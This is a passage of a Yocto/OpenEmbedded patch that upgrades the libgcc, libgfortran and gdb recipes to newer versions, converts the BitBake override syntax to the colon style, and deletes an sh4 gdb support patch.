-# Building with thumb enabled on armv6t fails
-ARM_INSTRUCTION_SET_armv6 = "arm"
diff --git a/meta/recipes-devtools/gcc/libgcc-initial_11.2.bb b/meta/recipes-devtools/gcc/libgcc-initial_11.2.bb
new file mode 100644
index 0000000000..a259082b47
--- /dev/null
+++ b/meta/recipes-devtools/gcc/libgcc-initial_11.2.bb
@@ -0,0 +1,5 @@
+require recipes-devtools/gcc/gcc-${PV}.inc
+require libgcc-initial.inc
+
+# Building with thumb enabled on armv6t fails
+ARM_INSTRUCTION_SET:armv6 = "arm"
diff --git a/meta/recipes-devtools/gcc/libgcc.inc b/meta/recipes-devtools/gcc/libgcc.inc
index 6d48ec9809..84a2d930df 100644
--- a/meta/recipes-devtools/gcc/libgcc.inc
+++ b/meta/recipes-devtools/gcc/libgcc.inc
@@ -2,7 +2,7 @@ require libgcc-common.inc
DEPENDS = "virtual/${TARGET_PREFIX}gcc virtual/${TARGET_PREFIX}g++ virtual/${MLPREFIX}libc"
-do_install_append_class-target () {
+do_install:append:class-target () {
if [ "${TCLIBC}" != "glibc" ]; then
case "${TARGET_OS}" in
"linux-musl" | "linux-*spe") extra_target_os="linux";;
@@ -32,12 +32,12 @@ PACKAGES = "\
# All libgcc source is marked with the exception.
#
-LICENSE_${PN} = "GPL-3.0-with-GCC-exception"
-LICENSE_${PN}-dev = "GPL-3.0-with-GCC-exception"
-LICENSE_${PN}-dbg = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN} = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN}-dev = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN}-dbg = "GPL-3.0-with-GCC-exception"
-FILES_${PN}-dev = "\
+FILES:${PN}-dev = "\
${base_libdir}/libgcc*.so \
${@oe.utils.conditional('BASETARGET_SYS', '${TARGET_SYS}', '', '${libdir}/${BASETARGET_SYS}', d)} \
${libdir}/${TARGET_SYS}/${BINV}* \
@@ -49,5 +49,5 @@ do_package_write_ipk[depends] += "virtual/${MLPREFIX}libc:do_packagedata"
do_package_write_deb[depends] += "virtual/${MLPREFIX}libc:do_packagedata"
do_package_write_rpm[depends] += "virtual/${MLPREFIX}libc:do_packagedata"
-INSANE_SKIP_${PN}-dev = "staticdev"
+INSANE_SKIP:${PN}-dev = "staticdev"
diff --git a/meta/recipes-devtools/gcc/libgcc_10.2.bb b/meta/recipes-devtools/gcc/libgcc_10.2.bb
deleted file mode 100644
index ea210a1130..0000000000
--- a/meta/recipes-devtools/gcc/libgcc_10.2.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-require recipes-devtools/gcc/gcc-${PV}.inc
-require libgcc.inc
-
-# Building with thumb enabled on armv6t fails
-ARM_INSTRUCTION_SET_armv6 = "arm"
diff --git a/meta/recipes-devtools/gcc/libgcc_11.2.bb b/meta/recipes-devtools/gcc/libgcc_11.2.bb
new file mode 100644
index 0000000000..f88963b0a4
--- /dev/null
+++ b/meta/recipes-devtools/gcc/libgcc_11.2.bb
@@ -0,0 +1,5 @@
+require recipes-devtools/gcc/gcc-${PV}.inc
+require libgcc.inc
+
+# Building with thumb enabled on armv6t fails
+ARM_INSTRUCTION_SET:armv6 = "arm"
diff --git a/meta/recipes-devtools/gcc/libgfortran.inc b/meta/recipes-devtools/gcc/libgfortran.inc
index 7543585e6e..e810146d4d 100644
--- a/meta/recipes-devtools/gcc/libgfortran.inc
+++ b/meta/recipes-devtools/gcc/libgfortran.inc
@@ -5,6 +5,11 @@ EXTRA_OECONF_PATHS = "\
--with-build-sysroot=${STAGING_DIR_TARGET} \
"
+# An arm hard float target like raspberrypi4 won't build
+# as CFLAGS don't make it to the fortran compiler otherwise
+# (the configure script sets FC to $GFORTRAN unconditionally)
+export GFORTRAN = "${FC}"
+
do_configure () {
for target in libbacktrace libgfortran
do
@@ -54,12 +59,12 @@ PACKAGES = "\
libgfortran-staticdev \
"
-LICENSE_${PN} = "GPL-3.0-with-GCC-exception"
-LICENSE_${PN}-dev = "GPL-3.0-with-GCC-exception"
-LICENSE_${PN}-dbg = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN} = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN}-dev = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN}-dbg = "GPL-3.0-with-GCC-exception"
-FILES_${PN} = "${libdir}/libgfortran.so.*"
-FILES_${PN}-dev = "\
+FILES:${PN} = "${libdir}/libgfortran.so.*"
+FILES:${PN}-dev = "\
${libdir}/libgfortran*.so \
${libdir}/libgfortran.spec \
${libdir}/libgfortran.la \
@@ -68,9 +73,9 @@ FILES_${PN}-dev = "\
${libdir}/gcc/${TARGET_SYS}/${BINV}/finclude/ \
${libdir}/gcc/${TARGET_SYS}/${BINV}/include/ \
"
-FILES_${PN}-staticdev = "${libdir}/libgfortran.a"
+FILES:${PN}-staticdev = "${libdir}/libgfortran.a"
-INSANE_SKIP_${MLPREFIX}libgfortran-dev = "staticdev"
+INSANE_SKIP:${MLPREFIX}libgfortran-dev = "staticdev"
do_package_write_ipk[depends] += "virtual/${MLPREFIX}libc:do_packagedata"
do_package_write_deb[depends] += "virtual/${MLPREFIX}libc:do_packagedata"
diff --git a/meta/recipes-devtools/gcc/libgfortran_10.2.bb b/meta/recipes-devtools/gcc/libgfortran_11.2.bb
index 71dd8b4bdc..71dd8b4bdc 100644
--- a/meta/recipes-devtools/gcc/libgfortran_10.2.bb
+++ b/meta/recipes-devtools/gcc/libgfortran_11.2.bb
diff --git a/meta/recipes-devtools/gdb/gdb-10.1.inc b/meta/recipes-devtools/gdb/gdb-10.1.inc
deleted file mode 100644
index 4b8de2b4e6..0000000000
--- a/meta/recipes-devtools/gdb/gdb-10.1.inc
+++ /dev/null
@@ -1,20 +0,0 @@
-LICENSE = "GPLv2 & GPLv3 & LGPLv2 & LGPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://COPYING3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
- file://COPYING.LIB;md5=9f604d8a4f8e74f4f5140845a21b6674"
-
-SRC_URI = "${GNU_MIRROR}/gdb/gdb-${PV}.tar.xz \
- file://0001-make-man-install-relative-to-DESTDIR.patch \
- file://0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch \
- file://0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch \
- file://0004-Add-support-for-Renesas-SH-sh4-architecture.patch \
- file://0005-Dont-disable-libreadline.a-when-using-disable-static.patch \
- file://0006-use-asm-sgidefs.h.patch \
- file://0007-Use-exorted-definitions-of-SIGRTMIN.patch \
- file://0008-Change-order-of-CFLAGS.patch \
- file://0009-resolve-restrict-keyword-conflict.patch \
- file://0010-Fix-invalid-sigprocmask-call.patch \
- file://0011-gdbserver-ctrl-c-handling.patch \
- "
-SRC_URI[sha256sum] = "f82f1eceeec14a3afa2de8d9b0d3c91d5a3820e23e0a01bbb70ef9f0276b62c0"
diff --git a/meta/recipes-devtools/gdb/gdb-11.1.inc b/meta/recipes-devtools/gdb/gdb-11.1.inc
new file mode 100644
index 0000000000..5364a880e3
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb-11.1.inc
@@ -0,0 +1,19 @@
+LICENSE = "GPLv2 & GPLv3 & LGPLv2 & LGPLv3"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://COPYING3;md5=d32239bcb673463ab874e80d47fae504 \
+ file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
+ file://COPYING.LIB;md5=9f604d8a4f8e74f4f5140845a21b6674"
+
+SRC_URI = "${GNU_MIRROR}/gdb/gdb-${PV}.tar.xz \
+ file://0001-make-man-install-relative-to-DESTDIR.patch \
+ file://0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch \
+ file://0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch \
+ file://0005-Dont-disable-libreadline.a-when-using-disable-static.patch \
+ file://0006-use-asm-sgidefs.h.patch \
+ file://0007-Change-order-of-CFLAGS.patch \
+ file://0008-resolve-restrict-keyword-conflict.patch \
+ file://0009-Fix-invalid-sigprocmask-call.patch \
+ file://0010-gdbserver-ctrl-c-handling.patch \
+ file://0011-AArch64-Make-gdbserver-register-set-selection-dynamic.patch \
+ "
+SRC_URI[sha256sum] = "cccfcc407b20d343fb320d4a9a2110776dd3165118ffd41f4b1b162340333f94"
diff --git a/meta/recipes-devtools/gdb/gdb-common.inc b/meta/recipes-devtools/gdb/gdb-common.inc
index bfb8013d67..925b0c2f80 100644
--- a/meta/recipes-devtools/gdb/gdb-common.inc
+++ b/meta/recipes-devtools/gdb/gdb-common.inc
@@ -1,13 +1,14 @@
SUMMARY = "GNU debugger"
HOMEPAGE = "http://www.gnu.org/software/gdb/"
+DESCRIPTION = "GDB, the GNU Project debugger, allows you to see what is going on inside another program while it executes -- or what another program was doing at the moment it crashed."
SECTION = "devel"
-DEPENDS = "expat zlib ncurses virtual/libiconv ${LTTNGUST} bison-native"
+DEPENDS = "expat gmp zlib ncurses virtual/libiconv ${LTTNGUST} bison-native"
LTTNGUST = "lttng-ust"
-LTTNGUST_arc = ""
-LTTNGUST_aarch64 = ""
-LTTNGUST_mipsarch = ""
-LTTNGUST_sh4 = ""
+LTTNGUST:arc = ""
+LTTNGUST:aarch64 = ""
+LTTNGUST:mipsarch = ""
+LTTNGUST:sh4 = ""
inherit autotools texinfo
@@ -26,16 +27,18 @@ EXTRA_OECONF = "--disable-gdbtk --disable-x --disable-werror \
--disable-gas --disable-binutils \
--disable-ld --disable-gold \
--disable-gprof \
+ --with-libgmp-prefix=${STAGING_EXECPREFIXDIR} \
"
-PACKAGECONFIG ??= "readline"
+PACKAGECONFIG ??= "readline ${@bb.utils.filter('DISTRO_FEATURES', 'debuginfod', d)}"
# Use --without-system-readline to compile with readline 5.
PACKAGECONFIG[readline] = "--with-system-readline,--without-system-readline,readline"
PACKAGECONFIG[python] = "--with-python=${WORKDIR}/python,--without-python,python3,python3 python3-codecs"
PACKAGECONFIG[babeltrace] = "--with-babeltrace,--without-babeltrace,babeltrace"
# ncurses is already a hard DEPENDS, but would be added here if it weren't
PACKAGECONFIG[tui] = "--enable-tui,--disable-tui"
-PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz"
+PACKAGECONFIG[xz] = "--with-lzma --with-liblzma-prefix=${STAGING_DIR_HOST},--without-lzma,xz"
+PACKAGECONFIG[debuginfod] = "--with-debuginfod, --without-debuginfod, elfutils"
GDBPROPREFIX = "--program-prefix=''"
@@ -50,14 +53,14 @@ do_configure () {
# we don't want gdb to provide bfd/iberty/opcodes, which instead will override the
# right bits installed by binutils. Same for bfd.info -- also from binutils.
-do_install_append() {
+do_install:append() {
rm -rf ${D}${libdir}
rm -rf ${D}${includedir}
rm -rf ${D}${datadir}/locale
rm -f ${D}${infodir}/bfd.info
}
-RRECOMMENDS_gdb_append_linux = " glibc-thread-db "
-RRECOMMENDS_gdb_append_linux-gnueabi = " glibc-thread-db "
-RRECOMMENDS_gdbserver_append_linux = " glibc-thread-db "
-RRECOMMENDS_gdbserver_append_linux-gnueabi = " glibc-thread-db "
+RRECOMMENDS:gdb:append:linux = " glibc-thread-db "
+RRECOMMENDS:gdb:append:linux-gnueabi = " glibc-thread-db "
+RRECOMMENDS:gdbserver:append:linux = " glibc-thread-db "
+RRECOMMENDS:gdbserver:append:linux-gnueabi = " glibc-thread-db "
diff --git a/meta/recipes-devtools/gdb/gdb-cross-canadian.inc b/meta/recipes-devtools/gdb/gdb-cross-canadian.inc
index c9daf25a41..836c51a3de 100644
--- a/meta/recipes-devtools/gdb/gdb-cross-canadian.inc
+++ b/meta/recipes-devtools/gdb/gdb-cross-canadian.inc
@@ -1,26 +1,28 @@
inherit cross-canadian
inherit python3-dir
+inherit pkgconfig
SUMMARY = "GNU debugger (cross-canadian gdb for ${TARGET_ARCH} target)"
PN = "gdb-cross-canadian-${TRANSLATED_TARGET_ARCH}"
BPN = "gdb"
-DEPENDS = "nativesdk-ncurses nativesdk-expat nativesdk-gettext \
+DEPENDS = "nativesdk-ncurses nativesdk-expat nativesdk-gettext nativesdk-gmp \
virtual/${HOST_PREFIX}gcc-crosssdk virtual/${HOST_PREFIX}binutils-crosssdk virtual/nativesdk-libc"
GDBPROPREFIX = "--program-prefix='${TARGET_PREFIX}'"
# Overrides PACKAGECONFIG variables in gdb-common.inc
-PACKAGECONFIG ??= "python readline"
+PACKAGECONFIG ??= "python readline ${@bb.utils.filter('DISTRO_FEATURES', 'debuginfod', d)}"
PACKAGECONFIG[python] = "--with-python=${WORKDIR}/python,--without-python,nativesdk-python3, \
nativesdk-python3-core \
nativesdk-python3-codecs nativesdk-python3-netclient \
"
PACKAGECONFIG[readline] = "--with-system-readline,--without-system-readline,nativesdk-readline"
+PACKAGECONFIG[debuginfod] = "--with-debuginfod, --without-debuginfod, nativesdk-elfutils"
SSTATE_DUPWHITELIST += "${STAGING_DATADIR}/gdb"
-do_configure_prepend() {
+do_configure:prepend() {
cat > ${WORKDIR}/python << EOF
#! /bin/sh
case "\$2" in
@@ -36,7 +38,7 @@ EOF
# we don't want gdb to provide bfd/iberty/opcodes, which instead will override the
# right bits installed by binutils.
-do_install_append() {
+do_install:append() {
rm -rf ${D}${exec_prefix}/lib
cross_canadian_bindirlinks
}
diff --git a/meta/recipes-devtools/gdb/gdb-cross-canadian_10.1.bb b/meta/recipes-devtools/gdb/gdb-cross-canadian_11.1.bb
index 301035940c..301035940c 100644
--- a/meta/recipes-devtools/gdb/gdb-cross-canadian_10.1.bb
+++ b/meta/recipes-devtools/gdb/gdb-cross-canadian_11.1.bb
diff --git a/meta/recipes-devtools/gdb/gdb-cross.inc b/meta/recipes-devtools/gdb/gdb-cross.inc
index ebe329f6d3..9f9675c1b3 100644
--- a/meta/recipes-devtools/gdb/gdb-cross.inc
+++ b/meta/recipes-devtools/gdb/gdb-cross.inc
@@ -1,15 +1,16 @@
require gdb-common.inc
-DEPENDS = "expat-native ncurses-native flex-native bison-native"
+DEPENDS = "expat-native gmp-native ncurses-native flex-native bison-native"
-inherit python3native
+inherit python3native pkgconfig
# Overrides PACKAGECONFIG variables in gdb-common.inc
-PACKAGECONFIG ??= "python readline"
+PACKAGECONFIG ??= "python readline ${@bb.utils.filter('DISTRO_FEATURES', 'debuginfod', d)}"
PACKAGECONFIG[python] = "--with-python=${PYTHON},--without-python,python3-native"
PACKAGECONFIG[readline] = "--with-system-readline,--without-system-readline,readline-native"
+PACKAGECONFIG[debuginfod] = "--with-debuginfod, --without-debuginfod, elfutils-native"
-do_compile_prepend() {
+do_compile:prepend() {
export STAGING_LIBDIR="${STAGING_LIBDIR_NATIVE}"
export STAGING_INCDIR="${STAGING_INCDIR_NATIVE}"
}
diff --git a/meta/recipes-devtools/gdb/gdb-cross_10.1.bb b/meta/recipes-devtools/gdb/gdb-cross_11.1.bb
index 50cf159fdb..50cf159fdb 100644
--- a/meta/recipes-devtools/gdb/gdb-cross_10.1.bb
+++ b/meta/recipes-devtools/gdb/gdb-cross_11.1.bb
diff --git a/meta/recipes-devtools/gdb/gdb.inc b/meta/recipes-devtools/gdb/gdb.inc
index 249e24dc52..2c95ed3ca0 100644
--- a/meta/recipes-devtools/gdb/gdb.inc
+++ b/meta/recipes-devtools/gdb/gdb.inc
@@ -1,14 +1,11 @@
require gdb-common.inc
-inherit gettext
+inherit gettext pkgconfig
-#LDFLAGS_append = " -s"
-#export CFLAGS_append=" -L${STAGING_LIBDIR}"
+#LDFLAGS:append = " -s"
+#export CFLAGS:append=" -L${STAGING_LIBDIR}"
# cross-canadian must not see this
PACKAGES =+ "gdbserver"
-FILES_gdbserver = "${bindir}/gdbserver"
-
-ALLOW_EMPTY_gdbserver_riscv64 = "1"
-ALLOW_EMPTY_gdbserver_riscv32 = "1"
+FILES:gdbserver = "${bindir}/gdbserver"
diff --git a/meta/recipes-devtools/gdb/gdb/0001-make-man-install-relative-to-DESTDIR.patch b/meta/recipes-devtools/gdb/gdb/0001-make-man-install-relative-to-DESTDIR.patch
index 84d178332d..824b96f6af 100644
--- a/meta/recipes-devtools/gdb/gdb/0001-make-man-install-relative-to-DESTDIR.patch
+++ b/meta/recipes-devtools/gdb/gdb/0001-make-man-install-relative-to-DESTDIR.patch
@@ -1,22 +1,22 @@
-From e5126c7167e26f865990dc5f86344602603aa8c6 Mon Sep 17 00:00:00 2001
+From a6d3df9d84463ec500d9d01558ab8a17e824e9e5 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 2 Mar 2015 02:27:55 +0000
-Subject: [PATCH 01/11] make man install relative to DESTDIR
+Subject: [PATCH 01/10] make man install relative to DESTDIR
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
- sim/common/Makefile.in | 2 +-
+ sim/common/Make-common.in | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/sim/common/Makefile.in b/sim/common/Makefile.in
-index f713fcaa35b..7c553709d3f 100644
---- a/sim/common/Makefile.in
-+++ b/sim/common/Makefile.in
-@@ -35,7 +35,7 @@ tooldir = $(libdir)/$(target_alias)
- datarootdir = @datarootdir@
+diff --git a/sim/common/Make-common.in b/sim/common/Make-common.in
+index 8c2cacea1e5..4a52eef2203 100644
+--- a/sim/common/Make-common.in
++++ b/sim/common/Make-common.in
+@@ -63,7 +63,7 @@ tooldir = $(libdir)/$(target_alias)
datadir = @datadir@
+ datarootdir = @datarootdir@
mandir = @mandir@
-man1dir = $(mandir)/man1
+man1dir = $(DESTDIR)$(mandir)/man1
@@ -24,5 +24,5 @@ index f713fcaa35b..7c553709d3f 100644
includedir = @includedir@
--
-2.29.2
+2.33.1
diff --git a/meta/recipes-devtools/gdb/gdb/0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch b/meta/recipes-devtools/gdb/gdb/0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch
index f830993d5e..591c9bfa3f 100644
--- a/meta/recipes-devtools/gdb/gdb/0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch
+++ b/meta/recipes-devtools/gdb/gdb/0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch
@@ -1,7 +1,7 @@
-From 0680242c9a3a0149a23e63034ecb4404de2293dd Mon Sep 17 00:00:00 2001
+From 7f1f25eaaace289bc33c5aaa1c5fe9e04e719651 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 23 Mar 2016 06:30:09 +0000
-Subject: [PATCH 02/11] mips-linux-nat: Define _ABIO32 if not defined
+Subject: [PATCH 02/10] mips-linux-nat: Define _ABIO32 if not defined
This helps building gdb on mips64 on musl, since
musl does not provide sgidefs.h this define is
@@ -16,7 +16,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 4 insertions(+)
diff --git a/gdb/mips-linux-nat.c b/gdb/mips-linux-nat.c
-index 38ff461a35b..4337795bac8 100644
+index b21c7cb2ea6..6614b4de31e 100644
--- a/gdb/mips-linux-nat.c
+++ b/gdb/mips-linux-nat.c
@@ -41,6 +41,10 @@
@@ -31,5 +31,5 @@ index 38ff461a35b..4337795bac8 100644
class mips_linux_nat_target final : public linux_nat_trad_target
{
--
-2.29.2
+2.33.1
diff --git a/meta/recipes-devtools/gdb/gdb/0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch b/meta/recipes-devtools/gdb/gdb/0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch
index cbe1779db7..09ea533b00 100644
--- a/meta/recipes-devtools/gdb/gdb/0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch
+++ b/meta/recipes-devtools/gdb/gdb/0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch
@@ -1,7 +1,7 @@
-From afbb66c244b1ae0aaaa90d88d3cd484f741c614f Mon Sep 17 00:00:00 2001
+From 0cb233ec3951582fa1a051a16bfd644ef4969df5 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 30 Apr 2016 18:32:14 -0700
-Subject: [PATCH 03/11] ppc/ptrace: Define pt_regs uapi_pt_regs on !GLIBC
+Subject: [PATCH 03/10] ppc/ptrace: Define pt_regs uapi_pt_regs on !GLIBC
systems
Upstream-Status: Pending
@@ -13,7 +13,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
2 files changed, 12 insertions(+)
diff --git a/gdb/nat/ppc-linux.h b/gdb/nat/ppc-linux.h
-index d937a65b69c..1fd54b4a0e0 100644
+index e712a9a5713..76bbcca0928 100644
--- a/gdb/nat/ppc-linux.h
+++ b/gdb/nat/ppc-linux.h
@@ -18,7 +18,13 @@
@@ -31,7 +31,7 @@ index d937a65b69c..1fd54b4a0e0 100644
/* This sometimes isn't defined. */
diff --git a/gdbserver/linux-ppc-low.cc b/gdbserver/linux-ppc-low.cc
-index 337d555aee7..5d518f37268 100644
+index db9a88219ea..151e4183bb1 100644
--- a/gdbserver/linux-ppc-low.cc
+++ b/gdbserver/linux-ppc-low.cc
@@ -23,7 +23,13 @@
@@ -49,5 +49,5 @@ index 337d555aee7..5d518f37268 100644
#include "arch/ppc-linux-common.h"
#include "arch/ppc-linux-tdesc.h"
--
-2.29.2
+2.33.1
diff --git a/meta/recipes-devtools/gdb/gdb/0004-Add-support-for-Renesas-SH-sh4-architecture.patch b/meta/recipes-devtools/gdb/gdb/0004-Add-support-for-Renesas-SH-sh4-architecture.patch
deleted file mode 100644
index 561cfff943..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0004-Add-support-for-Renesas-SH-sh4-architecture.patch
+++ /dev/null
@@ -1,913 +0,0 @@
-From 26e406962cf7298837b350b979afff0ac34ecb0b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 02:31:12 +0000
-Subject: [PATCH 04/11] Add support for Renesas SH (sh4) architecture.
-
-gdb (7.4-1~cvs20111117.2) experimental; urgency=low
- .
- * Add Renesas SH (sh4) support (Closes: #576242)
- - Thanks Nobuhiro Iwamatsu, Takashi Yoshii.
-Author: Hector Oron <zumbi@debian.org>
-Bug-Debian: http://bugs.debian.org/576242
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/Makefile.in | 2 +
- gdb/configure.host | 1 +
- gdb/sh-linux-tdep.c | 519 +++++++++++++++++++++++++++
- gdb/sh-tdep.c | 52 +--
- gdb/sh-tdep.h | 49 +++
- gdb/testsuite/gdb.asm/asm-source.exp | 5 +
- gdb/testsuite/gdb.asm/sh.inc | 3 +-
- gdb/testsuite/gdb.base/annota1.c | 3 +
- gdb/testsuite/gdb.base/annota3.c | 4 +
- gdb/testsuite/gdb.base/sigall.c | 3 +
- gdb/testsuite/gdb.base/signals.c | 4 +
- 11 files changed, 617 insertions(+), 28 deletions(-)
-
-diff --git a/gdb/Makefile.in b/gdb/Makefile.in
-index 4808357e651..a009004ab05 100644
---- a/gdb/Makefile.in
-+++ b/gdb/Makefile.in
-@@ -2273,6 +2273,8 @@ ALLDEPFILES = \
- sh-nbsd-nat.c \
- sh-nbsd-tdep.c \
- sh-tdep.c \
-+ sh-linux-tdep.c \
-+ sh-linux-nat.c \
- sol2-tdep.c \
- solib-aix.c \
- solib-svr4.c \
-diff --git a/gdb/configure.host b/gdb/configure.host
-index ce528237291..5b5173a71aa 100644
---- a/gdb/configure.host
-+++ b/gdb/configure.host
-@@ -148,6 +148,7 @@ riscv*-*-linux*) gdb_host=linux ;;
-
- s390*-*-linux*) gdb_host=linux ;;
-
-+sh*-*-linux*) gdb_host=linux ;;
- sh*-*-netbsdelf* | sh*-*-knetbsd*-gnu)
- gdb_host=nbsd ;;
- sh*-*-openbsd*) gdb_host=nbsd ;;
-diff --git a/gdb/sh-linux-tdep.c b/gdb/sh-linux-tdep.c
-index 5d2f38f5801..06a45b74827 100644
---- a/gdb/sh-linux-tdep.c
-+++ b/gdb/sh-linux-tdep.c
-@@ -18,14 +18,37 @@
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
- #include "defs.h"
-+#include "gdbcore.h"
-+#include "frame.h"
-+#include "frame-base.h"
-+#include "frame-unwind.h"
-+#include "dwarf2-frame.h"
-+#include "value.h"
-+#include "regcache.h"
-+#include "inferior.h"
- #include "osabi.h"
-
-+#include "reggroups.h"
-+#include "arch-utils.h"
-+#include "floatformat.h"
- #include "solib-svr4.h"
- #include "symtab.h"
-+#include "gdb_string.h"
-+#include "command.h"
-+#include "gdb_assert.h"
-
- #include "trad-frame.h"
- #include "tramp-frame.h"
-
-+#include <sys/ptrace.h>
-+#include <sys/types.h>
-+#include <sys/param.h>
-+#include <sys/user.h>
-+#include <sys/syscall.h>
-+
-+#include <asm/ptrace.h>
-+
-+#include "regset.h"
- #include "glibc-tdep.h"
- #include "sh-tdep.h"
- #include "linux-tdep.h"
-@@ -181,9 +204,505 @@ static struct tramp_frame sh_linux_rt_sigreturn_tramp_frame = {
- sh_linux_rt_sigreturn_init
- };
-
-+/* Recognizing signal handler frames. */
-+
-+/* GNU/Linux has two flavors of signals. Normal signal handlers, and
-+ "realtime" (RT) signals. The RT signals can provide additional
-+ information to the signal handler if the SA_SIGINFO flag is set
-+ when establishing a signal handler using `sigaction'. It is not
-+ unlikely that future versions of GNU/Linux will support SA_SIGINFO
-+ for normal signals too. */
-+
-+/* When the SH Linux kernel calls a signal handler and the
-+ SA_RESTORER flag isn't set, the return address points to a bit of
-+ code on the stack. This function returns whether the PC appears to
-+ be within this bit of code.
-+
-+ The instruction sequence for normal signals is
-+ mov.w 1f,r3
-+ trapa #16
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ 1: .word __NR_sigreturn
-+ or 0x9305 0xc310 0x200b 0x200b 0x200b 0x200b 0x200b 0x0077.
-+
-+ Checking for the code sequence should be somewhat reliable, because
-+ the effect is to call the system call sigreturn. This is unlikely
-+ to occur anywhere other than a signal trampoline.
-+
-+ It kind of sucks that we have to read memory from the process in
-+ order to identify a signal trampoline, but there doesn't seem to be
-+ any other way. The PC_IN_SIGTRAMP macro in tm-linux.h arranges to
-+ only call us if no function name could be identified, which should
-+ be the case since the code is on the stack.
-+
-+ Detection of signal trampolines for handlers that set the
-+ SA_RESTORER flag is in general not possible. Unfortunately this is
-+ what the GNU C Library has been doing for quite some time now.
-+ However, as of version 2.1.2, the GNU C Library uses signal
-+ trampolines (named __restore and __restore_rt) that are identical
-+ to the ones used by the kernel. Therefore, these trampolines are
-+ supported too. */
-+
-+#define MOVW(n) (0x9300|((n)-2)) /* Move mem word at PC+n to R3 */
-+#define TRAP16 0xc310 /* Syscall w/no args (NR in R3) */
-+#define OR_R0_R0 0x200b /* or r0,r0 (insert to avoid hardware bug) */
-+
-+#define LINUX_SIGTRAMP_INSN0 MOVW(7) /* Move mem word at PC+7 to R3 */
-+#define LINUX_SIGTRAMP_INSN1 TRAP16 /* Syscall w/no args (NR in R3) */
-+#define LINUX_SIGTRAMP_INSN2 OR_R0_R0 /* or r0,r0 (insert to avoid hardware bug) */
-+
-+static const unsigned short linux_sigtramp_code[] =
-+{
-+ LINUX_SIGTRAMP_INSN0,
-+ LINUX_SIGTRAMP_INSN1,
-+ LINUX_SIGTRAMP_INSN2,
-+ LINUX_SIGTRAMP_INSN2,
-+ LINUX_SIGTRAMP_INSN2,
-+ LINUX_SIGTRAMP_INSN2,
-+ LINUX_SIGTRAMP_INSN2,
-+ __NR_sigreturn
-+};
-+
-+#define LINUX_SIGTRAMP_LEN (sizeof linux_sigtramp_code)
-+
-+/* If PC is in a sigtramp routine, return the address of the start of
-+ the routine. Otherwise, return 0. */
-+
-+static CORE_ADDR
-+sh_linux_sigtramp_start (struct frame_info *next_frame)
-+{
-+ CORE_ADDR pc = get_frame_pc (next_frame);
-+ gdb_byte buf[LINUX_SIGTRAMP_LEN];
-+
-+ /* We only recognize a signal trampoline if PC is at the start of
-+ one of the three instructions. We optimize for finding the PC at
-+ the start, as will be the case when the trampoline is not the
-+ first frame on the stack. We assume that in the case where the
-+ PC is not at the start of the instruction sequence, there will be
-+ a few trailing readable bytes on the stack. */
-+
-+ if (!safe_frame_unwind_memory (next_frame, pc, buf, LINUX_SIGTRAMP_LEN))
-+ return 0;
-+
-+ if (buf[0] != LINUX_SIGTRAMP_INSN0)
-+ {
-+ if (buf[0] != LINUX_SIGTRAMP_INSN1)
-+ return 0;
-+
-+ pc -= 2;
-+
-+ if (!safe_frame_unwind_memory (next_frame, pc, buf, LINUX_SIGTRAMP_LEN))
-+ return 0;
-+ }
-+
-+ if (memcmp (buf, linux_sigtramp_code, LINUX_SIGTRAMP_LEN) != 0)
-+ return 0;
-+
-+ return pc;
-+}
-+
-+/* This function does the same for RT signals. Here the instruction
-+ sequence is
-+ mov.w 1f,r3
-+ trapa #16
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ 1: .word __NR_rt_sigreturn
-+ or 0x9305 0xc310 0x200b 0x200b 0x200b 0x200b 0x200b 0x00ad.
-+
-+ The effect is to call the system call rt_sigreturn. */
-+
-+#define LINUX_RT_SIGTRAMP_INSN0 MOVW(7) /* Move mem word at PC+7 to R3 */
-+#define LINUX_RT_SIGTRAMP_INSN1 TRAP16 /* Syscall w/no args (NR in R3) */
